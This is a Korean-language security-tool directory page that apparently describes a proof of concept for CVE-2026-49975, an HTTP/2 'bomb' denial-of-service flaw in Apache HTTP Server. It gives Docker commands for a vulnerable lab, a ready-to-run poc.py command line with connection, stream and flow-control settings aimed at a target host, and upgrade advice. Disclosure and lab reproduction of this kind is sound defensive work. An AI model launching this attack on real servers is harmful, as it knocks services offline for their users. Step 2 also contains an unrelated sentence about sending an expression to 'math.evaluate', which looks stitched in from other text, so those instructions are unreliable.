Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49975 — HTTP/2 폭탄 | Kitploit
도구/GitHubGitHub/eqstlab/cve-2026-49975
Vulnerability AnalysisExploitationWeb SecurityFuzzingPenetration Testing
GitHubeqstlab/cve-2026-49975

CVE-2026-49975

HTTP/2 폭탄

저장소 보기
1431개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-49975 HTTP/2 Bomb

★ CVE-2026-49975 HTTP/2 Bomb PoC ★

https://github.com/user-attachments/assets/89310771-f704-45d1-a6c3-d910de1dbc74


개요

CVE-2026-49975은 Apache HTTP Server의 서비스 거부(DoS) 취약점입니다. 이 취약점은 HTTP/2 요청 처리 경로에서 발생하며, 여러 cookie 헤더 필드가 LimitRequestFields에 제대로 집계되지 않은 채 병합될 수 있습니다. 공격자는 많은 cookie 헤더 필드로 확장되는 작은 HPACK 인코딩 HTTP/2 요청을 전송하여 Cookie 헤더 병합 중 서버가 반복적으로 메모리를 할당하도록 만들 수 있습니다. 그런 다음 공격자는 HTTP/2 흐름 제어를 사용하여 응답 전송을 지연시키고, 영향을 받는 스트림을 열린 상태로 유지하여 할당된 메모리가 해제되지 않도록 할 수 있습니다.


영향을 받는 버전

분류버전
취약Apache HTTP Server 2.4.17 ≤ 버전 ≤ 2.4.67
패치됨Apache HTTP Server 2.4.68 이상

영향

  • 원격 서비스 거부(DoS)
  • 과도한 메모리 소비
  • 정상 사용자 요청 처리 지연 또는 실패

환경

취약한 Apache HTTP Server 환경을 빌드하고 실행합니다.

root@kitploit:~
docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975

PoC

취약한 환경을 시작한 후, 아래 단계에 따라 공격을 재현합니다.

1단계: 서버 메모리 사용량 모니터링

root@kitploit:~
docker stats cve-2026-49975

출력 예시:

root@kitploit:~
CONTAINER ID   NAME             CPU %   MEM USAGE / LIMIT     MEM %
xxxxxxxxxxxx   cve-2026-49975   0.5%    35.2MiB / 8.0GiB      1.7%

2단계: HTTP/2 Bomb PoC 실행

다음 표현식을 math.evaluate로 전송합니다(예: 애플리케이션의 계산 입력을 통해).

root@kitploit:~
python3 poc.py \
  --host TARGET_IP \
  --port 10081 \
  --connections 10 \
  --streams 100 \
  --refs 4091 \
  --initial-window 0 \
  --hold 300 \
  --drip-interval 2 \
  --drip-bytes 1

3단계: 결과 확인

공격 스트림이 열려 있는 동안 Apache 컨테이너의 메모리 사용량이 증가하고 높은 수준을 유지하는지 확인합니다.

완화 조치

  • Apache HTTP Server를 2.4.68 이상으로 업그레이드하세요
  • 서비스에 HTTP/2가 필요하지 않다면 일시적으로 비활성화하는 것을 고려하세요

분석

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-apache-http2-dos-cve-2026-49975
  • EN:
도구 다운로드